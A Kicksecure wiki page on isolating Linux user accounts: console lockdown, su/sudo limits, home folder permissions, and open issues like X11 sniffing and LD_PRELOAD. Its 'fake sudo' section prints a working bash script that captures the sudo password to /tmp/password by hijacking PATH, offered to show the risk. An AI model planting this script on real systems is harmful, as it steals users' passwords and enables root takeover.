Strong Linux User Account Isolation

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Essentials

Introduction

There are many advanced details being discussed in many places but explanations of the essential foundations are hard to find. When this topic is usually discussed, there is a large amount of unspoken assumptions, threat models.

Example quotearchive.org iconarchive.today icon:

The solution to this is simple: you shouldn't be logging in on the console as root in the first place! (What, are you crazy or something?) Proper Unix hygiene dictates that you should log in as yourself, and su to root as necessary. People who spend their day logged in as root are just begging for disaster.

Sounds quite important, right?

TODO: elaborate

  • What kind of disaster awaits if being logged in as root?
  • Single-user system vs multi-user system.
  • Local system vs remote server.
  • Applications and daemons running under different Linux user accounts.
  • Some explanations are correct but for a different threat model.

Non-Hardened Linux Distributions

Most if not all Linux desktop operating systems:

  • By default, a compromised non-root user account which is member of group sudo is almost equal to full root compromise as there are too many ways for an attacker to retrieve the sudo password. Malware can sniff the sudo password.
  • Compromised non-root users that are not member of group sudo in order to acquire root compromise require either,
    • A) a local privileged escalation exploit, or
    • B) brute forcing the root password.
    • For example a user such www in case the web server gets exploited could not gain root without that.
  • Home folder (~) (such as for example home folder of user user /home/user) might be readable by other users (such as for example by user user2 or www). This to a large degree negates the usefulness of linux file permissions. While compromised user accounts might not be able to destroy user data, all private user data might be exfiltrated.

Kicksecure Hardened Linux Distributions

Kicksecure implements various mechanisms to implement strong linux user account isolation:

Prevention of Malware Sniffing the Root Password is currently only functional for advanced users following the documentation.

Once proposal Multiple Boot Modes for Better Security (an Implementation of Untrusted Root) has been implemented there will be a strong guidance for users to better separate their limited (everyday use) account (user) and administrative account (admin). This would result in a robust Prevention of Malware Sniffing the Root Password.

Defenses

Console Lockdown

Console lockdown allows only members of group console to use console. Everyone else except members of group console-unrestricted are restricted from using console using ancient, unpopular login methods such as using /bin/login over networks, which might be exploitable. (CVE-2001-0797archive.org iconarchive.today icon) Using pam_access. It is active for pam service login. Implemented in package security-miscarchive.org iconarchive.today icon.

This also has good usability.archive.org iconarchive.today icon Attempts to login into console for users which are not a member of group console would result in an error message.

By Kicksecure and Kicksecure default:

  • Console lockdown is enabled byarchive.org iconarchive.today icon default in Kicksecure and Kicksecure version 15.0.0.8.7 and above.
  • Only user user is a member of group console by default.
  • There are no default members of group console-unrestricted.

Related files:

Bruteforcing Linux User Account Passwords Protection

Bruteforcing into Linux user accounts is severely limited in by package security-miscarchive.org iconarchive.today icon.

Online Password Cracking Restrictions

A secure password for root/user accounts must not necessarily follow the same rationale as explained on the Passwords page. Offline attacks against the password (parallelization, password cracking attempts only limited by RAM, disk, and CPU) are not possible. Only "online" attacks are possible. Similar to attempts of cracking a password of a user account on a website. Only x attempts every y time are possible. See also protect Linux user accounts against brute force attacksarchive.org iconarchive.today icon.

/etc/securetty

Package security-miscarchive.org iconarchive.today icon removes all non-comments from /etc/securetty. Thereby root login and ancient consoles can no longer be used to attempt root login.

Root Login Disabled

Root login is disabled by default since Kicksecure 15.0.0.3.6.

Only one user account with password and no root account login supported by default also means the user has only to remember and secure one rather than two strong passwords.

usability:

  • Root login failures do not count as a failed login attempt fortunately to the faillock implementation by security-misc.

related files:

su restrictions

By Debian default, any user account can attempt to use su to try to switch to the root user or any other user account. Any user account can try to bruteforce switching to another user account. Kicksecure / Whonix (package security-miscarchive.org iconarchive.today icon) configure that group sudo membership required to use su using pam_wheelarchive.org iconarchive.today icon.

In future, feature SUID Disabling and Permission Hardening by security-misc will among other SUID removal from binaries also include removal of SUID from su by default for further hardening.

sudo restrictions

By Debian default, users who are not members of the group sudo cannot use sudo. Therefore limited user accounts (for example user sdwdate) cannot use sudo to attempt to crack other user account passwords to run under these users.

access rights restrictions

Strong Linux User Account Separation.

Removes read, write and execute access for others for all users who have home folders under folder `/home` by running for example "chmod o-rwx /home/user" during package installation, upgrade or pam `mkhomedir`. This will be done only once per folder in folder `/home` so users who wish to relax file permissions are free to do so. This is to protect previously created files in user home folder which were previously created with lax file permissions prior installation of this package.

  • `debian/security-misc.postinst`
  • `/usr/libexec/security-misc/permission-lockdown`
  • `/usr/share/pam-configs/mkhomedir-security-misc`

Issues

sudo password sniffing

A compromised user account user user could be infected with a keylogger which could trivially read the sudo password and thereby acquire root access.

Therefore instructions Prevent Malware from Sniffing the Root Password are still required. It's for advanced users only and awareness and usability is bad.

In future, multiple boot modes for better security: persistent + root | persistent + noroot | live + root | live + noroot might solve this issue. Reasons:

  • Users would have a strong guidance to separate use of user user through different boot modes.
  • User user would not be a member of group sudo by default anymore.
  • Only user admin would be a member of group sudo by default.
  • Every day activity considered higher risk such as browsing the internet would be done clearly separated under user user while activities such as package installation and system upgrades would be done using separate user admin.
  • Therefore the more likely compromised user user would not have a chance to sniff the sudo password and therefore would be hindered from escalating to root without a local privilege escalation exploit.

X Windows System

Any graphical application running under X Windows System (X11) can see what any user is typing in any other application for any user. For example, if user user running X11 would run lxsudo -u limited-user some-application that application if compromised could sniff anything that user user is writing. Including but not limited to any sudo password prompts. This is also the case for applications running under mandatory access control framework AppArmor.

See the following footnotes for references about security issues with GUI isolation related to X Windows System (X11). [2] [3]

Potential solutions:

Help welcome!

/proc/pid/sched spy on keystrokes

The /proc filesystem leaks a lot of information about other processes which allows attackers to spy on certain processes a large amount. One example is /proc/pid/sched which allows attackers to spy on keystrokes but there is definitely far more information leakage than just that.

Potential solutions:

  • hidepid=2 mount option to hide processes from other users - this would prevent spying on processes of other users but since most people run most of their apps as the same user, the benefits are limited unless multiple users are being used
  • PID namespaces to hide processes from outside the namespace and can be used for sandboxing apps - this would prevent spying on processes outside of the sandbox
  • apparmor-profile-everythingarchive.org iconarchive.today icon to give fine-grained restrictions over /proc

LD_PRELOAD

LD_PRELOAD is an environment variable which specifies certain libraries to preload for an application. An attacker can preload their malicious library globally to log keystrokes or even worse, hijack the program.

There are many examples of LD_PRELOAD rootkits in Linux. One example is:

Potential solutions:

  • Use environment scrubbing for everything in apparmor-profile-everything.

Setting up a fake sudo

An attacker can setup a fake sudo binary so the user gives them their password:

Click = Copy Copied to clipboard! cat <<\EOF > /tmp/sudo #!/bin/bash if [[ "${@}" = "" ]]; then /usr/bin/sudo else read -r -p "[sudo] password for user: " password echo "${password}" > /tmp/password echo "Sorry, try again." /usr/bin/sudo ${@} fi EOF chmod +x /tmp/sudo export PATH="/tmp:${PATH}"

Specifying the file path of the real sudo will not work either:

Click = Copy Copied to clipboard! function /usr/bin/sudo { echo "Doesn't work"; } function /bin/sudo { echo "Doesn't work"; }

Potential solutions:

  • None except getting rid of sudo access

Mounting all user-writeable places such as /home and /tmp as non-executable is not a solution because an attacker can use the bash interpreter to bypass the restrictions using bash /path/to/script. Would interpreter lockarchive.org iconarchive.today icon help?

Device timing sidechannels

Device timing sidechannels may allow keylogging but more research needs to be done on this.

https://en.wikibooks.org/wiki/Grsecurity/Appendix/Grsecurity_and_PaX_Configuration_Options#Eliminate_stat/notify-based_device_sidechannelsarchive.org iconarchive.today icon

If you say Y here, timing analyses on block or character devices like /dev/ptmx using stat or inotify/dnotify/fanotify will be thwarted for unprivileged users. If a process without CAP_MKNOD stats such a device, the last access and last modify times will match the device’s create time. No access or modify events will be triggered through inotify/dnotify/fanotify for such devices. This feature will prevent attacks that may at a minimum allow an attacker to determine the administrator’s password length.

Potential solutions:

  • linux-hardened fixes this by restricting it to CAP_MKNOD [4]

Related

User Freedom

Kicksecure / Whonix / security-miscarchive.org iconarchive.today icon does not restrict user freedom. All default settings can be undone. Everything is configurable and documented on page Root.

Conclusions

  • In Kicksecure based Linux distributions:
    • On single-user systems:
    • On multi-user systems:
      • Definition: A multi-user system is defined here as a shared computer that has different multiple human users.
      • Assessment: Similar to single-user systems but since necessarily additional Linux user accounts (such as for example user user2) need to be added to Linux user group console. Therefore security feature Console Lockdown (A) will be ineffective against attacks from that user account. In effect, strong Linux user account passwords are more important. However, other security features (B, C, D, E) still providing protection.
    • Remote Login:
      • Systems using remote login (such as SSH): A strong password might make sense such as during initial SSH setup while password based authentication has not been disabled yet in favor of exclusively using public key authentication. Once exclusively using public key authentication, a strong password should be no longer required for remote login.
      • Systems not using remote login: No requirements for a strong password to protect remote logins since not using any remote login mechanism.
    • Threat: Could a compromised user user to escalate to root if user user was compromised?
    • Protection against Physical Attacksarchive.org iconarchive.today icon: This is a mostly unrelated issue. A screen lockarchive.org iconarchive.today icon might be sufficient protection from lesser adversaries. In that case, a host screen locker and a better, non-default Linux account user password on the host operating system might help as the same password is used for the screen lock.

Resources

Footnotes

  1. ↑ On the flip-side, if the Prevent Malware from Sniffing the Root Password steps are followed, two secure passwords are required for the user user and user admin accounts.
  2. ↑ Quotearchive.org iconarchive.today icon Joanna Rutkowska, security researcher, founder and advisor (formerly architecture, security, and development) of Qubes OS:

    One application can sniff or inject keystrokes to another one, can take snapshots of the screen occupied by windows belonging to another one, etc.

  3. ↑ https://github.com/QubesOS/qubes-issues/issues/2695#issuecomment-521646366archive.org iconarchive.today icon @Patrick

    Why “I” can do it but user “man” cannot? What makes “me” and user “man” different?

    On non-Qubes Debian I am always wondering if I can switch a virtual console using ctrl + alt + F1, why can user “man” not? And how’s that different in Qubes?

    @marmarek wrote:

    This is about where the process is started and what has connected as controlling terminal. It isn’t anything Qubes specific. A non-privileged process cannot inject characters into a separate session (lets forget about X11 breaking all this assumptions, as we are talking about non-X11 session), especially if it’s of a different user, similarly as it cannot write to files it doesn’t have write permission. to. You can think of it as a write access to /dev/tty* (or /dev/hvc0 in this case). When you login on /dev/hvc0, login process (running as root) will setup permission to /dev/hvc0 and also pass an open FD to it to your shell. Then, you (user, and that shell) will be able to interact with /dev/hvc0 and specifically run commands connected to it. If you don’t login there, login process will not set the permissions, so you won’t have access. > This does assume kernel enforced permissions are effective, but as we are talking here about in-VM account isolation only, it’s a reasonable assumption.

    marmarekarchive.org iconarchive.today icon

    (lets forget about X11 breaking all this assumptions

    @Patrick

    Indeed.

    While experimentingarchive.org iconarchive.today icon with module loading disabling, I experienced that broken X can block switching to virtual consolearchive.org iconarchive.today icon. Needless to say (for other readers), if X can do, also malware could do. “SysRq + r” can take away control from X. After that, switching to another virtual console was possible.

    @marmarek

    Yes, X (or other process with access to input device) can grab it for exclusive access, disabling Alt+Ctrl+F1 or similar combos. This still is independent of what is happening on other terminals. Especially, input devices grabbed in this mode are handled by X server (or other process that grabbed them). As long as X server doesn’t have access to other terminals, it still can’t influence them.

  4. ↑ https://github.com/anthraxx/linux-hardened/commit/72b66e85807fd92b0c8ee53df59492806a6234aaarchive.org iconarchive.today icon
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